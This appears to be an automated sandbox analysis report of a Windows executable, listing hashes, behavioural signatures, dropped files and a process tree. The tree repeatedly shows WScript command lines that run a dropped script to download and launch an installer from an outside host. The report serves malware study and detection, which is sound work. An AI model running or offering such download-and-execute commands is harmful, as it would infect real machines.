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Analysis

  • max time kernel
    172s
  • max time network
    174s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    28/11/2022, 06:24

General

  • Target

    ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe

  • Size

    184KB

  • MD5

    7e8b823cd891cdf4f674c7e24eaef1d0

  • SHA1

    4850743b509cf017c5cdaa0453cd2af922504478

  • SHA256

    ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19

  • SHA512

    cf6e2dfdf7cb541c971e8d9d070ff2969e96b8f75b1843a43f29f1d622b311cc5ebf9d6432eee9009166df9865301eb92de3bdcbe36555dc7ec57ae2521d1c45

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3D:/7BSH8zUB+nGESaaRvoB7FJNndny

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe
    "C:\Users\Admin\AppData\Local\Temp\ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1172
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB8F4.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB8F4.exe
      2⤵
      • Blocklisted process makes network request
      PID:900
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB8F4.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB8F4.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:1676
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB8F4.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB8F4.exe
      2⤵
      • Blocklisted process makes network request
      PID:2016
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB8F4.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB8F4.exe
      2⤵
      • Blocklisted process makes network request
      PID:1924
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB8F4.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB8F4.exe
      2⤵
      • Blocklisted process makes network request
      PID:928

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufB8F4.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\XV6UHMVG.txt

    Filesize

    100B

    MD5

    eba6f7bc2da7f1f408be40091941b58d

    SHA1

    77ffbda2e693f0e384b709e2dba5714d3ed1f5f3

    SHA256

    e36ae5e15d86d4152e6e17a6837a423e6be2d97248c8bef7b3f2268156e7fd56

    SHA512

    41ab483d989932ed50fdef5a96cc7de7c1de9764c0c934949e34e9727d177b33ef5c637c4ce79f8681e977fca2bd3d72d0554025e1f63423eb151f9786032c49

  • memory/1172-54-0x00000000759F1000-0x00000000759F3000-memory.dmp

    Filesize

    8KB